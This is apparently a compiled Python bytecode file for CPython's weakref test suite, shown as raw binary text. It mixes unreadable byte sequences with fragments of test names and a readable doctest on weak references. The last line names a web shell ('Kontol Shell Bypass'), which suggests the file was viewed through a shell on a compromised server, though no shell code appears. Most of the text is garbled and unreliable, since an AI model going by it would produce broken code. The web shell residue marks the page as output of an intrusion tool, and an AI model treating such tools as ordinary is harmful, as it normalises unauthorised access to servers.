�|||�|||j�||t�~~~	t��|||||
|f}|D]:}
|D].}��|
|k|
|u���|
|k|
|u��q�qdS)Ncs ��||k���||k�dSr�rvrs�r�rrrr
�_eq`sz-WeakMethodTestCase.test_equality.<locals>._eqcs ��||k���||k�dSrrOrPrrr
�_necsz-WeakMethodTestCase.test_equality.<locals>._ner4rS)	rrGrAr(r*rr:r;rT)r	rQrRrrr�rr[r�r�err.�qr�rrr
r_s<










z WeakMethodTestCase.test_equalitycCs�td�}td�}t�|j�}t�|j�}t�|j�}|�t|�t|��t|�}~~t��|�t|�|�|�t|�|�|�	t
t|�dSr3)rrGrAr(r*rTr%r:r;r]r^)r	rrr�rr[Zharrr
r�szWeakMethodTestCase.test_hashingN)rr
rr@rFrGrHrKrLrrrNrrrrrr
r>s	

)r>c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Z d<d=�Z!d>d?�Z"d@dA�Z#dBdC�Z$dDdE�Z%dFdG�Z&dHdI�Z'dJdK�Z(dLdM�Z)dNdO�Z*dPdQ�Z+dRdS�Z,dTdU�Z-dVdW�Z.dXdY�Z/dZd[�Z0d\d]�Z1d^d_�Z2d`da�Z3e4j5dbdc��Z6ddS)e�MappingTestCaseroc	s�d}dd�t|�D�}|�fdd�|D��}|��}zt|�WntyRYn0~t��t|�}~t��t|�}|�|d�|�|d�dS)N�cSsg|]
}t��qSr�r+��.0r�rrr
�
<listcomp>�rz4MappingTestCase.check_len_cycles.<locals>.<listcomp>c3s|]}�|�VqdSrr�rYrI��consrr
�	<genexpr>�rz3MappingTestCase.check_len_cycles.<locals>.<genexpr>)rr4r)	rx�items�next�
StopIterationr:r;rurwrT)	r	�	dict_typer]�Nr_�dct�it�n1�n2rr\r
�check_len_cycles�s z MappingTestCase.check_len_cyclescCs|�tjdd��dS)NcSs|dfSr3rr�rrr
r��rz<MappingTestCase.test_weak_keyed_len_cycles.<locals>.<lambda>)rhrGrrrrr
�test_weak_keyed_len_cycles�sz*MappingTestCase.test_weak_keyed_len_cyclescCs|�tjdd��dS)NcSsd|fSr3rr�rrr
r��rz=MappingTestCase.test_weak_valued_len_cycles.<locals>.<lambda>)rhrG�WeakValueDictionaryrrrr
�test_weak_valued_len_cycles�sz+MappingTestCase.test_weak_valued_len_cyclesc
	s�|jtjgt���R�tdd�D]�}d}t�d�t�|||�dd�t|�D�}|�fdd�|D��}~|��}zt|�Wnty�Yn0t	|�}~t	|�}	|�
|d�|�||�|�
|	d�|�|	|�q"dS)	Nr4rrVrcSsg|]
}t��qSrrWrXrrr
rZ�rz2MappingTestCase.check_len_race.<locals>.<listcomp>c3s|]}�|�VqdSrrr[r\rr
r^�rz1MappingTestCase.check_len_race.<locals>.<genexpr>)Z
addCleanupr:r�r�rxr;r_r`raruZassertGreaterEqualZassertLessEqual)
r	rbr]�thrcr_rdrerfrgrr\r
�check_len_race�s(
zMappingTestCase.check_len_racecCs|�tjdd��dS)NcSs|dfSr3rr�rrr
r��rz:MappingTestCase.test_weak_keyed_len_race.<locals>.<lambda>)rmrGrrrrr
�test_weak_keyed_len_race�sz(MappingTestCase.test_weak_keyed_len_racecCs|�tjdd��dS)NcSsd|fSr3rr�rrr
r��rz;MappingTestCase.test_weak_valued_len_race.<locals>.<lambda>)rmrGrjrrrr
�test_weak_valued_len_race�sz)MappingTestCase.test_weak_valued_len_racecCs�|��\}}|D]*}|�t�|�d�|�|||jd�qt|���}t|�����}|�	�|�	�|�||d�~~|�t
|�|j�|d=|�t
|�|jdd�~~|�t
|�dd�t��}|�
t|jd�t�|d<|�
t|jd�dS)Nr4�#wrong object returned by weak dict!z/cloning of weak-valued dictionary did not work!r�/deleting object did not cause dictionary updatez0deleting the values did not clear the dictionaryrS)�make_weak_valued_dictrTrGrhrPrr�r_�copy�sortru�COUNTrjr]�KeyError�__getitem__r�r	�dict�objectsrIZitems1Zitems2rrr
�test_weak_values�s6����
z MappingTestCase.test_weak_valuescCs�|��\}}|D]0}|�t�|�dd|�|�|j||d�q|��}|����}|�t|�t|�d�~~|�t	|�|j
�|d=|�t	|�|j
dd�~~|�t	|�dd�td�}d	||<|�||�|�
d
|�dS)Nr4z&wrong number of weak references to %r!rpz.cloning of weak-keyed dictionary did not work!rrqz.deleting the keys did not clear the dictionaryr�z$What is the meaning of the universe?�")�make_weak_keyed_dictrTrGrhrPrr_rs�setrururrw�assertNotInrxrrr
�test_weak_keys�s6�����zMappingTestCase.test_weak_keyscCs|��\}}|�|�|��}|�t|�t|��t|�}|D]>}|�}|�||�|�||�|�|j||�|�|�q>|�t|�d�t|�}|�tt|����t|��|��D]>}|�}|�||�|�||�|�|j||�|�|�q�|�t|�d�dSr/)	r}�check_iters�keyrefsrTrur�rwrr��r	ryrzr.Zobjects2rJr rrr
�test_weak_keyed_iterss*
z%MappingTestCase.test_weak_keyed_iterscCs
|��\}}|�|�|��}|�t|�t|��t|�}|D]<}|�}|�|||j�|�|j||jj�|�|�q>|�t|�d�t|�}|�tt|����t|��|��D]<}|�}|�|||j�|�|j||jj�|�|�q�|�t|�d�dSr/)	rrr��	valuerefsrTrur�rr��
itervaluerefsr�rrr
�test_weak_valued_iters,s&
z&MappingTestCase.test_weak_valued_iterscCs�t|���}|��D]}|�|�q|�|d�t|���}|D]}|�|�q@|�|d�t|���}|��D]}|�|�qp|�|d�t|���}|��D]}|�|�q�|�|d�dS)Nzitems() did not touch all itemsz!__iter__() did not touch all keysz!iterkeys() did not touch all keysz%itervalues() did not touch all values)r�r_r�rs�keys�values)r	ryr_�itemr�r�r��vrrr
r�Es$�zMappingTestCase.check_iterscCslt|�}tt||���}t|�|d=t��|�tt|��t|�t|�dg�~|�t|�|d�dS)N���r4)	rur��getattrr`r:r;rwr�rT)r	ryrzZ	iter_namerrerrr
�"check_weak_destroy_while_iterating_s$z2MappingTestCase.check_weak_destroy_while_iteratingcCs�|�� \}}|�||�Wd�n1s,0Y|��$\}}|�t|j|�Wd�n1sf0Y|�||�|��$\}}|�t|j|�Wd�n1s�0Y|�||�|��\}}|||<Wd�n1s�0Y|�|||�t�|�}|��\}}|�|�Wd�n1�s:0Y|�||�|��\}}|��Wd�n1�sz0Y|�t	|�d�dSr/)
rr]rvr��poprTrs�update�clearru)r	ry�testcontextr�r�Zddictrrr
�-check_weak_destroy_and_mutate_while_iteratingls$*..&
*(z=MappingTestCase.check_weak_destroy_and_mutate_while_iteratingcCs�td�}|��Vt|�}|�t|����|�t|�|d�|||<|�t|�|�Wd�n1sj0Y|��@|�t|�|d�|��|�t|�|d�Wd�n1s�0Y|��F|�t|�|d�|t|���=|�t|�|d�Wd�n1�s0Y|��@|�t|�|d�|��|�t|�|d�Wd�n1�sv0Y|��(|��|�t|�d�Wd�n1�s�0Y|�t|�d�dS)	Ni@�r4rSrnr'r)r?r)rrur�r`r�rT�popitemr�)r	ryr�rIrrrr
�&check_weak_del_and_len_while_iterating�s..2440z6MappingTestCase.check_weak_del_and_len_while_iteratingcs�|��\��|���d�|���d�|���d�|���d�|��\��tj��fdd��}|��|�|��\��|��|�dS)Nr�r_r�r�c3sXzDt����}t|����j}t��t|�|fVWd}t��nd}t��0dSr�r�r_r`r�rr:r;r)rer��ryrzrr
r��s

�zKMappingTestCase.test_weak_keys_destroy_while_iterating.<locals>.testcontext)r}r��
contextlib�contextmanagerr�r��r	r�rr�r
�&test_weak_keys_destroy_while_iterating�sz6MappingTestCase.test_weak_keys_destroy_while_iteratingcs�|��\��|���d�|���d�|���d�|���d�|���d�|��\��tj��fdd��}|��|�|��\��|��|�dS)Nr�r_r�r�r�c3sXzDt����}t|����j}t��|t|�fVWd}t��nd}t��0dSrr�)rer�r�rr
r��s

�zMMappingTestCase.test_weak_values_destroy_while_iterating.<locals>.testcontext)rrr�r�r�r�r�r�rr�r
�(test_weak_values_destroy_while_iterating�sz8MappingTestCase.test_weak_values_destroy_while_iteratingcCs*td�}t�|di�}|�||d�dS�Nrnil�rrGrrT�r	rIryrrr
�#test_make_weak_keyed_dict_from_dict�sz3MappingTestCase.test_make_weak_keyed_dict_from_dictcCs4td�}t�|di�}t�|�}|�||d�dSr�r��r	rIryZdict2rrr
�.test_make_weak_keyed_dict_from_weak_keyed_dict�s
z>MappingTestCase.test_make_weak_keyed_dict_from_weak_keyed_dictcCs8t��}tttt|j���}|D]}|j||<q ||fSr)rGrr��maprrxrur�r	ryrzrIrrr
r}�s
z$MappingTestCase.make_weak_keyed_dictcCs*td�}t�d|i�}|�|d|�dSr��rrGrjrTr�rrr
�$test_make_weak_valued_dict_from_dict�sz4MappingTestCase.test_make_weak_valued_dict_from_dictcCs4td�}t�d|i�}t�|�}|�|d|�dSr�r�r�rrr
�0test_make_weak_valued_dict_from_weak_valued_dict�s
z@MappingTestCase.test_make_weak_valued_dict_from_weak_valued_dictcCs�|�ttjj�|�ttjii�|�ttjdd�td�}dD]>}tjfi||i��}|�t|���|g�|�|||�q@dS)Nrrn�r	ryr"�iterable)	r]r^rGrjrrrTr�r�)r	rI�kwr�rrr
�test_make_weak_valued_dict_misc�sz/MappingTestCase.test_make_weak_valued_dict_misccCs8t��}tttt|j���}|D]}|||j<q ||fSr)rGrjr�r�rrxrurr�rrr
rrs
z%MappingTestCase.make_weak_valued_dictc	Cs�|�}|||<|||<|�t|�d�|��\}}|�t|�d�||urX|�||�n|�||�|��\}}|�t|�d�||ur�|�||�n|�||�dS)NrSr4r)rTrur�rP)	r	�klass�key1�value1�key2�value2�weakdictr�r�rrr
�
check_popitem	szMappingTestCase.check_popitemcCs|�tjdt�dt��dS)Nr�r�)r�rGrjrrrrr
�test_weak_valued_dict_popitems�z-MappingTestCase.test_weak_valued_dict_popitemcCs|�tjt�dt�d�dS�Nzvalue 1zvalue 2)r�rGrrrrrr
�test_weak_keyed_dict_popitems�z,MappingTestCase.test_weak_keyed_dict_popitemcCs�|�||d�|�}|�||�}|�||�|�||�|�|�|�|�|�|||�|�||�}|�||�|�||�|�|�|�|�|�|||�dS)Nz9invalid test -- value parameters must be distinct objects)r+�
setdefaultrPrw�get)r	r��keyr�r�r�rIrrr
�check_setdefault#s�z MappingTestCase.check_setdefaultcCs|�tjdt�t��dS)Nr�)r�rGrjrrrrr
� test_weak_valued_dict_setdefault4s
�z0MappingTestCase.test_weak_valued_dict_setdefaultcCs|�tjt�dd�dSr�)r�rGrrrrrr
�test_weak_keyed_dict_setdefault8s�z/MappingTestCase.test_weak_keyed_dict_setdefaultcCs�|�}|�|�|�t|�t|��|��D]>}|�||d�|�|�}|�|||�|�||�|��q,|��D]<}|�||d�||}|�|||�|�||�|��qtdS)Nz(mysterious new key appeared in weak dictz%original key disappeared in weak dict)r�rTrur�rwr�rP)r	r�ryr�r�r�rrr
�check_update<s

zMappingTestCase.check_updatec	Cs�|�tjdt�dt�t�t�i�|�ttjj�t��}|�t|jii�|�t|jdd�|�t|�	��g�t
d�}dD]F}t��}|jfi||i��|�t|�	��|g�|�|||�q~dS)Nr4r�rrnr�)r�rGrjrr]r^r�rTr�r�r)r	r�rIr�rrr
�test_weak_valued_dict_updateOs�z,MappingTestCase.test_weak_valued_dict_updatec
Cs�t�}t�}t�}t�d|i�}t�||d��}|��}||d�}d|fd|fg}||B}	|�t|	�t|�t|�B�|�t|	�tj�||O}|�||	�||B}
|�t|
�t|�|B�|�t|
�tj�||O}|�||
�|��}||O}|�t|�t|�t|�B�|�t|�tj�||B}|�t|�|t|�B�|�t|�tj�~|�d|	�|�d|
�|�d|�|�d|�dS)Nr4�r4rS)r4rnr)r?rS)	rrGrjrsrTryrPr�r)
r	r�rr[Zwvd1Zwvd2Zwvd3�d1�pairs�tmp1�tmp2�tmp3�tmp4rrr
� test_weak_valued_union_operators`s<
z0MappingTestCase.test_weak_valued_union_operatorsc	Cs$|�tjt�dt�dt�di�dS)Nr4rSrn)r�rGrrrrrr
�test_weak_keyed_dict_update�s�z+MappingTestCase.test_weak_keyed_dict_updatecCsht��}td�}td�}d||<d||<|�t|�d�||=|�t|�d�|�t|���|g�dS)N�1�2�	somethingrSr4)rGrrrTrur�r��r	r��o1rgrrr
�test_weak_keyed_delitem�sz'MappingTestCase.test_weak_keyed_delitemc
Cs�t�}t�}t�}t�|d|di�}t�|d|di�}|��}|d|di}|df|dfg}||B}	|�t|	�t|�t|�B�|�t|	�tj�||O}|�||	�||B}
|�t|
�t|�|B�|�t|
�tj�||O}|�||
�|��}||O}|�t|�t|�t|�B�|�t|�tj�||B}|�t|�|t|�B�|�t|�tj�~|�d|	�	��|�d|
�	��|�d|�	��|�d|�	��dS)	Nr4rSrnr'�5�6��)
rrGrrsrTryrPr�rr�)
r	r�rgZo3Zwkd1Zwkd2Zwkd3r�r�r�r�r�r�rrr
�test_weak_keyed_union_operators�s<z/MappingTestCase.test_weak_keyed_union_operatorscCslt��}td�}td�}||d<||d<|�t|�d�|d=|�t|�d�|�t|���d|fg�dS)Nr�r�r�zsomething elserSr4)rGrjrrTrur�r_r�rrr
�test_weak_valued_delitem�sz(MappingTestCase.test_weak_valued_delitemcCsft��}td�}|�t|j|�|�t|j|�|�t|jd�|�t|jd�|�t|jdd�dS)Nr��
)	rGrrr]rvr�rwr^�__setitem__)r	r�rIrrr
�test_weak_keyed_bad_delitem�sz+MappingTestCase.test_weak_keyed_bad_delitemcs�t��}d�G��fdd�dt���fdd�td�D���D]}|j||<q<~t|�������d�d}�D]}|d	7}||=qn|�t	|�d�|�|d
�dS)NFcs*eZdZdd�Zdd�Z��fdd�ZdS)z<MappingTestCase.test_weak_keyed_cascading_deletes.<locals>.CcSs
||_dSrr()r	r�rrr
r�szEMappingTestCase.test_weak_keyed_cascading_deletes.<locals>.C.__init__cSs
t|j�Sr)r%r�rrrr
r&�szEMappingTestCase.test_weak_keyed_cascading_deletes.<locals>.C.__hash__cs�r
�d=|j|jkS)Nr�r(r!��mutate�objsrr
r#�szCMappingTestCase.test_weak_keyed_cascading_deletes.<locals>.C.__eq__N)rr
rrr&r#rr�rr
r�srcsg|]}�|��qSrrrX)rrr
rZ�rzEMappingTestCase.test_weak_keyed_cascading_deletes.<locals>.<listcomp>r'Trr4rS)
rGrrZrxr�r�r��reverserTru)r	r�rI�countr)rr�r�r
�!test_weak_keyed_cascading_deletes�s 	z1MappingTestCase.test_weak_keyed_cascading_deletescCst��}|�t|�d�dS)Nz<WeakValueDictionary at 0x.*>)rGrj�assertRegexrH�r	ryrrr
�test_make_weak_valued_dict_repr�sz/MappingTestCase.test_make_weak_valued_dict_reprcCst��}|�t|�d�dS)Nz<WeakKeyDictionary at 0x.*>)rGrr�rHr�rrr
�test_make_weak_keyed_dict_reprsz.MappingTestCase.test_make_weak_keyed_dict_reprcCs\t��}t��:td�D] }|�dt��}|�|d�~qWd�n1sN0YdS�Ni��ro)rGrjrDrxr�r+r+�r	r�r�rrrr
�$test_threaded_weak_valued_setdefaultsz4MappingTestCase.test_threaded_weak_valued_setdefaultcCsbt��}t��@td�D]&}t�|d<|�dd�}|�|d�qWd�n1sT0YdSr�)rGrjrDrxr+r�r+r�rrr
�test_threaded_weak_valued_pops
z-MappingTestCase.test_threaded_weak_valued_popcCsbt��}t��@td�D]&}t�}||d<|�t|�d�d}qWd�n1sT0YdS)Ni@
ror4)rGrjrDrxr+rTru)r	r�r�rIrrr
�%test_threaded_weak_valued_consistencysz5MappingTestCase.test_threaded_weak_valued_consistencycsg}Gdd�d�}Gdd�d�}�fdd�}dd�}|�|tjtjf�|�}g}	g}
td	�D]6}||�||�}}
|	�|�|
�|
�|
||<~~
q^tj|||fd
�}|tjur�tj||	fd
�}ntj||
fd
�}|��|��|�	�|�	�|�r|d�dS)Nc@seZdZdd�ZdS)z?MappingTestCase.check_threaded_weak_dict_copy.<locals>.DummyKeycSs
||_dSr��ctr�r	r�rrr
r)szHMappingTestCase.check_threaded_weak_dict_copy.<locals>.DummyKey.__init__Nr-rrrr
�DummyKey(sr�c@seZdZdd�ZdS)zAMappingTestCase.check_threaded_weak_dict_copy.<locals>.DummyValuecSs
||_dSrr�r�rrr
r-szJMappingTestCase.check_threaded_weak_dict_copy.<locals>.DummyValue.__init__Nr-rrrr
�
DummyValue,sr�c
sTz �durt�|�}n|��}Wn.tyN}z|�|�WYd}~n
d}~00dSr#)rs�deepcopyr�rt)r��excrM�ex�r�rr
�	dict_copy0sz@MappingTestCase.check_threaded_weak_dict_copy.<locals>.dict_copycSsHd}|rDt�dt|�d�}|d7}|�|�|ddkrt��qdS)Nrr4i')�random�randintrur�r:r;)ZlstZgc_ctrr�rrr
�pop_and_collect9s
zFMappingTestCase.check_threaded_weak_dict_copy.<locals>.pop_and_collectip)r>r�r)
rwrGrrjrxrtr?r@rArB)r	�type_r�r�r�r�r�r�r�r�r�r�r�r�Zt_copyZ	t_collectrr�r
�check_threaded_weak_dict_copy#s4		


z-MappingTestCase.check_threaded_weak_dict_copycCs|�tjd�dS�NF�r�rGrrrrr
� test_threaded_weak_key_dict_copy`sz0MappingTestCase.test_threaded_weak_key_dict_copycCs|�tjd�dSr#r�rrrr
�$test_threaded_weak_key_dict_deepcopyesz4MappingTestCase.test_threaded_weak_key_dict_deepcopycCs|�tjd�dSr��r�rGrjrrrr
�"test_threaded_weak_value_dict_copyjsz2MappingTestCase.test_threaded_weak_value_dict_copycCs|�tjd�dSr#r�rrrr
�&test_threaded_weak_value_dict_deepcopyosz6MappingTestCase.test_threaded_weak_value_dict_deepcopycCst��}|�|jj�dSr)rGrjrQ�_remove�__closure__)r	r�rrr
�test_remove_closuretsz#MappingTestCase.test_remove_closureN)7rr
rrurhrirkrmrnror{r�r�r�r�r�r�r�r�r�r�r�r}r�r�r�rrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr�rrrr
rU�sf
!%%-=rU)�
mapping_testsc@s6eZdZdZed�ed�ed�d�ZejZdd�Z	dS)	�WeakValueDictionaryTestCasez?Check that WeakValueDictionary conforms to the mapping protocolr4rSrn)r�r��key3cCs
|j��Sr)�!_WeakValueDictionaryTestCase__refrsrrrr
�
_reference�sz&WeakValueDictionaryTestCase._referenceN)
rr
r�__doc__rrrGrj�	type2testrrrrr
r�|sr�c@s:eZdZdZed�ded�ded�diZejZdd	�Z	d
S)�WeakKeyDictionaryTestCasez=Check that WeakKeyDictionary conforms to the mapping protocolr�r4r�rSrrncCs
|j��Sr)�_WeakKeyDictionaryTestCase__refrsrrrr
r�sz$WeakKeyDictionaryTestCase._referenceN)
rr
rrrrrGrrrrrrr
r�src@sVeZdZGdd�d�Zdd�Zdd�Zdd�Zd	d
�Zdd�Ze	d
d��Z
dd�ZdS)�FinalizeTestCasec@seZdZdS)zFinalizeTestCase.ANr�rrrr
r��sr�cCstjjdkrt��dS)NZcpython)�sys�implementation�namerrrrrr
�_collect_if_necessary�sz&FinalizeTestCase._collect_if_necessarycs��fdd�}|��}g�tj||dddd�}|�|jd�|�|��||dd	dif�|�|�d
�|�|�d�|�|�d�|�|��d�|�|��d�|�|jd�|��d
g�g�t�||ddd�}|�|��||dif�|�|��||dif�|�|�d�|�|�d�|�|��d�|�|��d�|�|jd�|��g�g�tj||dddd
�}~|��|�|�d�|�|�d�|�|��d�|�|��d�|�|jd�|��d
g�dS)Ncs��|||�|||Srr��rrr��resrr
�add�sz+FinalizeTestCase.test_finalize.<locals>.add�C�+�Y)rT)rrr��F)rrrr)r�rG�finalizerT�alive�peek�detachr)r	rr�rrr
r
�
test_finalize�sBzFinalizeTestCase.test_finalizec	s�fdd�}|��}g�tj||ddddd�}|�|��||dddd�f�|�|��dddd�fg�|�t�� tj||dd	�Wd�n1s�0Y|�t�� tj||dd
�Wd�n1s�0Y|�ttj|�|�ttj�dS)Ncs��||f�dSrr�)r��kwargsr
rr
�fin�sz-FinalizeTestCase.test_arg_errors.<locals>.finr4rSrnr')�funcr�r�)rr)r�rr)r�rGrrTrr]r^)r	rr�rrr
r
�test_arg_errors�s..z FinalizeTestCase.test_arg_errorsc	Cs|��}g}t�||jd�}t�||jd�}t�||jd�}t�||jd�}t�||jd�}~~|�|j�|�|j�|�|j�|�|���|�|j�|�|�d�|�|�|j�|�d�|�|�d�~|��|�|j�|�d	�|�gd
�}|�	||�dS)N�f1�f2�f3�f4�f5r��Brr�)r�rr"rr rrr�)
r�rGrrtrvrrrsrrT)	r	r�rrrrr r!Zexpectedrrr
�
test_order�s6



zFinalizeTestCase.test_ordercs�Gdd�dtj�}|��}g��fdd�}|||�}t�|�}t�|�}~~|�|��|�|��~|��|�|��|�|��|��dg�dS)Nc@seZdZdS)z4FinalizeTestCase.test_all_freed.<locals>.MyFinalizerNr�rrrr
�MyFinalizer�sr$cs��d�dS)N�{r�rr
rr
r6�sz1FinalizeTestCase.test_all_freed.<locals>.callbackr%)rGrr�r5rerrQrT)r	r$r�r6rZwr_callbackZwr_frr
r
�test_all_freed�s


zFinalizeTestCase.test_all_freedcs|�fdd�}t��tdt�}t��tdt�}t��|�}t��tdt�}|jdksVJ�d|_|jdksjJ�|jdksxJ�dS)Ncs"t��td�}td�dddS)N�g1�f3 errorr4r)rGr�print)r'��clsrr
�errorsz,FinalizeTestCase.run_in_child.<locals>.errorrrr TF)rGrr)�_global_var�atexit)r+r,rrrr rr*r
�run_in_childszFinalizeTestCase.run_in_childcCsFd}t�d|�\}}}|�d���}|�|gd��|�d|v�dS)NzNfrom test.test_weakref import FinalizeTestCase;FinalizeTestCase.run_in_child()z-c�ascii)z	f4 foobarr(r'z	f1 foobarsZeroDivisionError)rZassert_python_ok�decode�
splitlinesrTrv)r	�prog�rc�out�errrrr
�test_atexit%s
zFinalizeTestCase.test_atexitN)rr
rr�rrrr#r&�classmethodr/r7rrrr
r�s)'
ra� Doctest for examples in the library reference: weakref.rst

>>> import weakref
>>> class Dict(dict):
...     pass
...
>>> obj = Dict(red=1, green=2, blue=3)   # this object is weak referencable
>>> r = weakref.ref(obj)
>>> print(r() is obj)
True

>>> import weakref
>>> class Object:
...     pass
...
>>> o = Object()
>>> r = weakref.ref(o)
>>> o2 = r()
>>> o is o2
True
>>> del o, o2
>>> print(r())
None

>>> import weakref
>>> class ExtendedRef(weakref.ref):
...     def __init__(self, ob, callback=None, **annotations):
...         super().__init__(ob, callback)
...         self.__counter = 0
...         for k, v in annotations.items():
...             setattr(self, k, v)
...     def __call__(self):
...         '''Return a pair containing the referent and the number of
...         times the reference has been called.
...         '''
...         ob = super().__call__()
...         if ob is not None:
...             self.__counter += 1
...             ob = (ob, self.__counter)
...         return ob
...
>>> class A:   # not in docs from here, just testing the ExtendedRef
...     pass
...
>>> a = A()
>>> r = ExtendedRef(a, foo=1, bar="baz")
>>> r.foo
1
>>> r.bar
'baz'
>>> r()[1]
1
>>> r()[1]
2
>>> r()[0] is a
True


>>> import weakref
>>> _id2obj_dict = weakref.WeakValueDictionary()
>>> def remember(obj):
...     oid = id(obj)
...     _id2obj_dict[oid] = obj
...     return oid
...
>>> def id2obj(oid):
...     return _id2obj_dict[oid]
...
>>> a = A()             # from here, just testing
>>> a_id = remember(a)
>>> id2obj(a_id) is a
True
>>> del a
>>> try:
...     id2obj(a_id)
... except KeyError:
...     print('OK')
... else:
...     print('WeakValueDictionary error')
OK

�
libreftestc	Cs*t�ttttttt�t�	t
jt�dSr)
rZrun_unittestrEr>rUr�rrrZrun_doctestr�modulesrrrrr
�	test_main�s�	r;�__main__)r7))r:rZunittestrqrGr�r�rsr?r8r��testrZtest.supportrrr�r-rrrrrr+ZTestCaser.r�rDrErr>rUr�ZBasicTestMappingProtocolr�rrr9Z__test__r;rrrrr
�<module>sb	Ng
c$S


Kontol Shell Bypass